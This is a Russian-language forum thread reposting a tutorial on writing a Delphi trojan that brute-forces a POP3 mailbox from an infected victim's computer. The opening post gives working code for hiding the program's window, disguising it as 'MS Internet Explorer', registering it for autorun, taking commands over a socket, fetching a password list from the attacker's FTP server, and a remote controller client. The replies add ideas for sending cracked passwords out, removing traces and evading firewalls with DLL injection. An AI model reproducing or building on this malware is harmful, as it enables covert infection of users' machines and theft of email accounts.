Четверг, 21.11.2024, 15:01 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Anton93, Волк-1024, xXxSh@dowxXx  
Brute-force backdoor на Delphi
dolphinДата: Пятница, 26.12.2008, 15:55 | Сообщение # 1
Администратор
Сообщений: 906
Статус: Offline
Автор:Kuzya
Здорова! Сегодня я расскажу как написать одну “полезную” J программку. Я её решил назвать Brute-force backdoor. Может идея и не новая, но я решил написать данную статью из-за того, что не видел похожих, на неё, статей. Кстати всё только для ознакомления ну и бла-бла-бла в том же роде.
Начнём с главной цели этой программы: подбор пароля к указанному, программе, ящику. Тебе, наверное, уже приходилось пользоваться брутом для подбора пароля к e-mail’ам или ftp-серверам. Принцип программы основан, в первую очередь, на безопасности атакующего и освобождения времени, которое может потребоваться для подбора пароля к ящику. Наша прога будет действовать следующим образом: инфицировав машину пользователя, она будет ждать от хозяина команды на закачку словаря с паролями и команды для начала подбора пароля. Таким образом, брут производится с машины заражённого юзера – это скроет тебя, уменьшит расход трафика и освободит тебя от лишней мороки. ВНИМАНИЕ!!! Здесь я не буду описывать полную рабочую версию программы, здесь я опишу основной скелет, я просто хочу чтоб юные кул-хацкеры хоть немного поработали мозгами и отшлифовали прогу до блеска сами.
Итак, начнём. Нам понадобится Delphi (я писал это на Delphi 6) и любой фтп-сервер.
Начни новый проект, и размести на форме следующие компоненты – NMFTP(находится на закладке FastNet) и ServerSocket(закладка internet).Так-же размести вторую форму и назови её BruteForm. Затем зайди в свойства проекта (Project => Options) и в закладке Forms найди 2 списка - Auto-create forms и Available forms, в первом списке будут твои две формы(Form1 и BruteForm), тебе надо перенести обе формы в список Available forms.
Имена компонентов не меняй, оставь как есть – NMFTP1 и ServerSocket1. Свойство port, у ServerSocket1, поставь какое нужно тебе – это порт на котором будет висеть бэк-дор.
Затем у компонента NMFTP1 измени все свойства (port, address(если надо то и проксик вбей)) на свойства которые нужны для подключения к твоему ftp-серверу(очень желательно чтоб он находился на каком ни будь бесплатном хостере).
Сначала напишем само ядро бэк-дора:
Добавь в используемые модули (В редакторе исходного кода, после надписи uses идут используемые модули) модуль Registry (Он понадобится нам для записи бэк-дора в реестре для автозагрузки). Далее создай обработчик OnCreate главной формы. И между begin и end впиши следующие строки:

Code
Application.Title:='MS Internet Explorer';

// Назначается заголовок любых окон появившихся от твоего бэк-дора

// Вдруг возникнет какая ни будь ошибка и Юзер увидит заголовок Project1

// или что-то типа того.

// Тогда он что ни будь заподозрит, а вот заголовок MS Internet Explorer

// Ничем не насторожит J

// Затем прописываемся в реестре:

RegIni:=TRegIniFile.Create('Software');

RegIni.RootKey:=HKEY_LOCAL_MACHINE;

RegIni.OpenKey('Software', true);

RegIni.OpenKey('Microsoft', true);

RegIni.OpenKey('Windows', true);

RegIni.OpenKey('CurrentVersion', true);

// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла

RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);

RegIni.Free;

// Делаем сокет активным

ServerSocket1.Active:=true;

Если попробуешь собрать сейчас, то у тебя ничего не получится, чтоб всё работало надо объявить переменную RegIni типа TRegIniFile, для этого напиши над begin следующие строчки:

Code
var

RegIni:TRegIniFile;

Затем у ServerSocket1 создай обработчик события OnClientRead и над begin и end напиши:

Code
var

command:String; // обьявляем переменную command строкового типа

Затем между begin и end напиши следующий код:

// Указываем что переменная command это текст полученный из сокетов.

command:=Socket.ReceiveText;

// Указываем что делать если пришёл текст upload

if command='upload' then

begin

// Компонент NMFTP1 пытается соединится с сервером

// который ему указал ты

// кстати! Вот тут и может вылезти ошибка (если ты не правильно указал адрес

// или произошёл сбой при подключнии) но ведь Юзер увидит что это ошибка

// вызвана MS Internet Explorer J и мало чего заподозрит J

NMFTP1.Connect;

// Если компонент NMFTP1 подключился то

if NMFTP1.Connected then

begin

// закачиваем файл dictionary.txt(файл с паролями) из корня фтп-сервера

// и сохраняем его под тем же именем под каким и скачали

// Первый параметр – это имя скачиваемого файла, а второй параметр указывает

// Под каким именем сохранить скаченный файл

// Сохранение происходит в той же папке где лежит трой

NMFTP1.Download('dictionary.txt','dictionary.txt');

end;

end;

// Если пришло слово brute то активировать форму BruteForm

if command='brute' then

begin

// собственно, активируется форма BruteForm

Application.CreateForm(TBruteForm, BruteForm);

end;

Можно было бы вписать код брута в этот - же unit но мне это не понравилось из-за большого кол-ва кода, у каждой формы есть свой unit и ИМХО так легче работать т.к. нет возьни с гигантскими кусками кода. Затем переключись на форму BruteForm, на ней размести компонент idPOP3 (закладка indy clients), назови его idPOP и создай обработчик события OnCreate для BruteForm. В обработчике события, перед begin напиши следующий код:

Code
Var

// Создаём переменную PassStrings типа TStrings;

PassStrings:TStrings;

// Создаём переменную j числового типа.

j:Integer;

Между Begin и End; пишем:

PassStrings:=TStringList.Create;

Try

// Пытаемся загрузить файл dictionary.txt

PassStrings.LoadFromFile('dictionary.txt');

Except

// если файл загрузить не удалось то останавливаем работу программы

exit;

// ВНИМАНИЕ!!! Оператор exit не закрывает прогу, а просто останавливает её //работу!!!

end;

// Начинаем цикл от 0 до кол-ва строк в словаре - 1

for j:=0 to PassStrings.Count-1 do

begin

//Присваиваем пароль из строки с номером j

IdPOP.Password := PassStrings.Strings[j];

Try

//Пытаемся коннектится

IdPOP.Connect

Except

// Если соединится не удалось (не правильный пароль) то ничего не делаем,

// Цикл повторяется пытаясь зайти под следующим, в файле, паролем

end;

// Если коннект удался (пароль подобран)

if IdPOP.Connected then

begin

///////////////////////////////////////////////////////////////////

// Тут пишите свой код с помощью которого вам с

ообщится что пароль подобран///

////////////////////////////////////////////////////////////////////

// Отключаемся

IdPOP.Disconnect;

// Останавливаем программу

exit;

end;

end;

Для того чтобы окно программы было невидимо зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:
Code

var

WhEvent:THandle;

begin

Application.Initialize;

ShowWindow(Application.Handle, SW_HIDE);

Form1:=TForm1.Create(nil);

Application.Run;

WhEvent:=CreateEvent(nil, true, false, 'et');

while (true) do

begin

WaitForSingleObject(WhEvent,1000);

Application.ProcessMessages;

end;

end.

Чтобы скомпилить прогу не запуская её просто нажми ctrl+f9 и экзэшник соберётся не запускаясь.
Теперь давай напишем клиент к нашей пакости J.
Создай новый проект, размести на нём компоненты ClientSocket1, Edit1, Button1 и Button2.
В свойстве port – напиши порт твоего бэкдора.
Caption у кнопки1 замени на upload, а у второй на brute. Теперь нам надо всего-лишь создать обработчики событий OnClick – для первой кнопки(upload) и для второй (drute)
В OnClick первой кнопки напиши:

Code
// Указываем IP жертвы(IP вводим в поле Edit1)

ClientSocket1.host:=Edit1.Text;

ClientSocket1.Active:=true;

// Отправляем команду upload

ClientSocket1.SendReceiveText(‘upload’);

Тоже самое пишем в OnClick второй кнопки, только команда brute , а не upload.
Вот вообщем и всё что я хотел тебе сегодня рассказать, программа имеет множество недоработок и неудобств (например то что подбирать можно только к прописанному, в проге, ящику) но если поломать голову то можно всё подправить и переделать и под ftp брут и под imap и т.д. Удачи!
Если что не понятно все вопросы задавать на нашем форуме http://inattack.ru/forum/viewforum.php?f=32


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
BioHEXДата: Воскресенье, 08.08.2010, 20:24 | Сообщение # 2
Был не раз
Зарегистрирован: 27.07.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
Я бы немного другой алгоритм выбрал:

1. Определить состояния подключения интернета.
2. Если подключен автоматом скачать словарик, начать перебор с возможностью продолжения (на случай если юзер оборвет коннект). Это избавит нас от проблемы с определением IP-адреса жертвы (нет ни чего хуже динамического IP-адреса biggrin ), т.к. нам не предется подключатся к жертве.
3. Как только пароль будет сбручен отправить его себе на мыло или на гейт, что предпочтительней.
4. Убрать за собой.

Для обхода фаервола можно оформить код в виде DLL и провести DLL-inject.

 
skriptДата: Суббота, 29.01.2011, 17:40 | Сообщение # 3
Группа: Удаленные



BioHEX, а по подробней можешь расказать про обход фаера?
 
BROVARДата: Вторник, 03.05.2011, 04:18 | Сообщение # 4
Был не раз
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 9
Статус: Offline
Обход фаера созданный по принципу подключения клиента к серверу никак не реализовать по сути. Для сего лучшие способа:
1.Сервер ищет клиента.
2.Клиент-сервер работает через вспомагательный сервер.
В таком случае файервол не реагирует по причине того, что по сути операции исходят, а не входят. В ближайшее время напишу исходничек обоих видов - скину на форум.


Абара!
 
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz